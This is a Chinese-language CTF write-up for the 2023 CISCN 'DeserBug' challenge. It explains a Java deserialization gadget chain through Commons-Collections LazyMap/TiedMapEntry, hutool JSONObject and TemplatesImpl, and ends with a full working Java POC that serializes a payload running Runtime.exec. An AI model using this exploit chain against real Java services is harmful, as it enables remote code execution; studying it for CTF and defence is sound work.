镜像信息
- 题目名称:2023CISCN初赛DebugSer
- docker镜像:lxxxin/ciscn2023_deserbug
- flag信息:
- 内部端口:8888
- 注意:
- 部署时,容器至少需要256MB的运行内存,否则容器将无法启动
- 题目描述:
- cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
- 容器启动可能需要一两分钟,请耐心等待!
- 附件:
deserbug_4eafaf14e8f7df3b534ba30ed1881ff0.zip
启动脚本
1
|
docker run -it -d -p 12345:8888 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/ciscn2023_deserbug
|
WriteUp
这题考察cc链的改造,先下载附件分析:
Testapp类中直接对传入的bugstr参数base64解码并反序列化,并且还会调用toString()方法

题目用的是CC3.2.2依赖,在CC3.2.2及以后,对一些不安全的Java类的序列化增加了开关,默认为关闭状态,比如CC6要用到的InvokerTransformer类就被干掉了
不过题目给了一个Myexcept类,注意getAnyexcept方法可以实例化一个单参数的类

这一段实例化TrAXFilter类:

因此sink点就是TemplatesImpl类
再拼接一下中间的gadget,题目给了下方的提示:
1
|
cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
|
那接下来就是要找调用put的地方,其中LazyMap#get方法可以调用put

再就是找调用get的地方,要求调用get的只有一个参数,并且是Map类的实现类
使用Tabby寻找的语法如下(From atao):
match (source:Method {NAME:"toString"}) where source.CLASSNAME=~"org.apache.commons.collections.*"
match (sink:Method {NAME:"get", CLASSNAME:"java.util.Map"}) where sink.PARAMETER_SIZE=1
with source, collect(sink) as sinks
call tabby.algo.findJavaGadget(source, sinks, 3, false, true) yield path
return path
最终找到的类是TiedMapEntry

堆栈信息如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
exec:347, Runtime (java.lang)
......
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
<init>:64, TrAXFilter (com.sun.org.apache.xalan.internal.xsltc.trax)
......
getAnyexcept:30, Myexpect (com.app)
......
put:32, JSONObject (cn.hutool.json)
get:159, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
toString:132, TiedMapEntry (org.apache.commons.collections.keyvalue)
lambda$main$0:29, Testapp (com.app)
......
|
EXP如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
public class POC {
public static String filePath = "/path/to/ser.bin";
public static void main(String[] args) throws Exception{
byte[] code = getTemplates();//用javassist获取
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "useless");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", codes);
Myexpect myexpect = new Myexpect();
myexpect.setTargetclass(TrAXFilter.class);
myexpect.setTypearg(new Object[]{templates});
myexpect.setTypeparam(new Class[]{Templates.class});
ConstantTransformer constantTransformer = new ConstantTransformer(myexpect);
LazyMap lazymap = (LazyMap) LazyMap.decorate(new JSONObject(), constantTransformer);
LazyMap lazymap1 = (LazyMap) LazyMap.decorate(new HashMap(), constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap1, "useless");
setFieldValue(tiedMapEntry, "map", lazymap);
setFieldValue(tiedMapEntry, "key", "useless");
ser(tiedMapEntry);
}
public static void ser(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(filePath));
objectOutputStream.writeObject(obj);
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"open -a Calculator\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
}
|